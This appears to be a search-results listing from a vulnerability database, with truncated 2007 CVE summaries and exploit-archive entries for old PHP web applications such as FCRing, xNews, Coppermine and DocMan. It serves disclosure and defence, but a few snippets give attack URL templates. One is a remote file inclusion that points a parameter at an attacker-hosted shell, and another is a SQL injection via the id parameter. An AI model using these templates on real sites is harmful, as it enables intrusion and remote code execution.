2794 matches found
HyperBook Guestbook 1.3 - GBConfiguration.DAT Hashed Password Information Disclosure
source: https://www.securityfocus.com/bid/22754/info HyperBook Guestbook is prone to an information-disclosure vulnerability because the application fails to protect sensitive information. An attacker can exploit this issue to access sensitive information that may lead to other attacks. This issu...
Remote file inclusion
PHP remote file inclusion vulnerability in fcring.php in FCRing 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the sfuss parameter...
CVE-2007-1133
PHP remote file inclusion vulnerability in fcring.php in FCRing 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the sfuss parameter...
CVE-2007-1133
PHP remote file inclusion vulnerability in fcring.php in FCRing 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the sfuss parameter...
CVE-2007-1133
The CVE-2007-1133 entry concerns FCRing 1.3, where fcring.php contains a PHP remote file inclusion flaw. An attacker can trigger arbitrary PHP code execution by supplying a crafted URL in the s_fuss parameter, enabling remote code execution on the affected system. The vulnerability arises from in...
Sql injection
SQL injection vulnerability in thumbnails.php in Coppermine Photo Gallery CPG 1.3.x allows remote authenticated users to execute arbitrary SQL commands via a cpg131fav cookie. NOTE: it was later reported that 1.4.10, 1.4.14, and other 1.4.x versions are also affected using similar cookies...
fcring-rfi.txt
FCRing 1.3 Webringskript Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=fcring&title=FCRing%201.3 ERROR: if$sfuss != "" include$sfuss; rfi coded RFI: http://SITE.com/path/fcring.php?sfuss=SHELL kezzap66345athotmaildotcom thanx=x0r0nstr0keshika...
phptraffic-lfi.txt
------=Part1622826164291.1172086007407 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline phpTrafficA-1.4.1 Local File Inclusion phpTrafficA is a GPL statistical tool for web traffic analysis, written in php and mySQL. It can...
CVE-2007-0697
index2.php in ACGVannu 1.3 and earlier allows remote attackers to change the password or profile of a user via a modified id parameter, related to templates/modif.html. NOTE: some of these details are obtained from third party information...
CVE-2007-0630
Multiple SQL injection vulnerabilities in the generatecsv function in classes/class.news.php in X-dev xNews 1.3 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 id, 2 from, and 3 q parameters, different vectors than CVE-2007-0569. NOTE: The provenance of this...
CVE-2007-0569
SQL injection vulnerability in xNews.php in xNews 1.3 allows remote attackers to execute arbitrary SQL commands via the id parameter in a shownews action...
xNews 1.3 (xNews.php) Remote Blind SQL Injection Vulnerability
Title : xNews 1.3 xNews.php Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.x-dev.de $$ : Free SQL--------------------------------------------------------- http://target/path//xNews.php?act=shownews&id=SQL Example:...
xNews 1.3 (xNews.php) Remote SQL Injection Vulnerability
No description provided by source. Title : xNews 1.3 xNews.php Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.x-dev.de $$ : Free SQL--------------------------------------------------------- http://target/path//xNews.php?act=shownews&id=SQL Example:...
xNews 1.3 - 'xNews.php' SQL Injection
Title : xNews 1.3 xNews.php Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.x-dev.de $$ : Free SQL--------------------------------------------------------- http://target/path//xNews.php?act=shownews&id=SQL Example:...
xNews 1.3 (xNews.php) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ======================================================== xNews 1.3 xNews.php Remote SQL Injection Vulnerability ======================================================== Title : xNews 1.3 xNews.php Remote Blind SQL Injection Vulnerability...
CVE-2007-0380
DocMan 1.3 RC2 allows remote attackers to obtain sensitive information the full path via unspecified vectors...
Sql injection
Multiple SQL injection vulnerabilities in DocMan 1.3 RC2 allow attackers to execute arbitrary SQL commands via unspecified vectors...
CVE-2007-0378
Multiple SQL injection vulnerabilities in DocMan 1.3 RC2 allow attackers to execute arbitrary SQL commands via unspecified vectors...